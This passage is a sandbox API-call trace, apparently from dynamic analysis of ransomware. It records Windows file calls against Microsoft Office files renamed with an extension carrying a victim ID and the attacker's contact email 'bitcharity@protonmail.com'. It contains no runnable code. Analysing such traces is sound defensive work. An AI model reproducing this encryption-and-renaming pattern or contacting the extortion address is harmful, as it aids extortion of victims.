Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL027.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl027.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.509] CloseHandle (hObject=0x125c) returned 1 [0268.510] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.510] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL044.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl044.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.510] CloseHandle (hObject=0x125c) returned 1 [0268.511] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.511] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL048.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl048.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.515] CloseHandle (hObject=0x125c) returned 1 [0268.518] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.518] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL054.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl054.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.518] CloseHandle (hObject=0x125c) returned 1 [0268.521] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.521] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL058.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl058.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.522] CloseHandle (hObject=0x1114) returned 1 [0268.523] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.524] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL065.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl065.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.524] CloseHandle (hObject=0x1114) returned 1 [0268.525] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.525] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL075.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl075.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.525] CloseHandle (hObject=0x1114) returned 1 [0268.527] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.527] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL077.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl077.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.527] CloseHandle (hObject=0x1114) returned 1 [0268.528] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.528] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL078.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl078.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.529] CloseHandle (hObject=0x1114) returned 1 [0268.530] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.530] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL081.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl081.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.530] CloseHandle (hObject=0x1114) returned 1 [0268.531] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.531] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL082.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl082.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.531] CloseHandle (hObject=0x1114) returned 1 [0268.534] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.534] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL083.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl083.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.534] CloseHandle (hObject=0x1114) returned 1 [0268.537] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.537] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL086.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl086.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.538] CloseHandle (hObject=0xff8) returned 1 [0268.539] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.539] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL087.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl087.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.539] CloseHandle (hObject=0xff8) returned 1 [0268.540] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.540] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL089.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl089.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.540] CloseHandle (hObject=0xff8) returned 1 [0268.541] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.541] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL090.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl090.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.541] CloseHandle (hObject=0xff8) returned 1 [0268.543] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.543] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL092.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl092.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.543] CloseHandle (hObject=0xff8) returned 1 [0268.544] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.544] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL093.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl093.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.545] CloseHandle (hObject=0xff8) returned 1 [0268.546] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.546] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL095.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl095.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.546] CloseHandle (hObject=0xff8) returned 1 [0269.827] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.827] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL096.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl096.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.416] CloseHandle (hObject=0x1268) returned 1 [0271.675] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.675] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN114.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn114.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.481] CloseHandle (hObject=0xff0) returned 1 [0273.284] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.285] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\MENU.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\menu.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.534] CloseHandle (hObject=0xff8) returned 1 [0273.859] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.859] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.859] CloseHandle (hObject=0x1288) returned 1 [0274.565] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.565] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\list.accdt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.565] CloseHandle (hObject=0x10bc) returned 1 [0274.570] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.570] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.570] CloseHandle (hObject=0x10bc) returned 1 [0274.571] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.571] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.572] CloseHandle (hObject=0x10bc) returned 1 [0274.573] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.573] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.573] CloseHandle (hObject=0x10bc) returned 1 [0274.574] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.574] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.574] CloseHandle (hObject=0x10bc) returned 1 [0274.575] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.575] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\metconv.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.575] CloseHandle (hObject=0x10bc) returned 1 [0274.577] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.577] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.577] CloseHandle (hObject=0x10bc) returned 1 [0274.578] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.578] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.578] CloseHandle (hObject=0x10bc) returned 1 [0274.579] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.579] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.579] CloseHandle (hObject=0x10bc) returned 1 [0274.581] SetFilePointerEx (in: hFile=0x10bc, 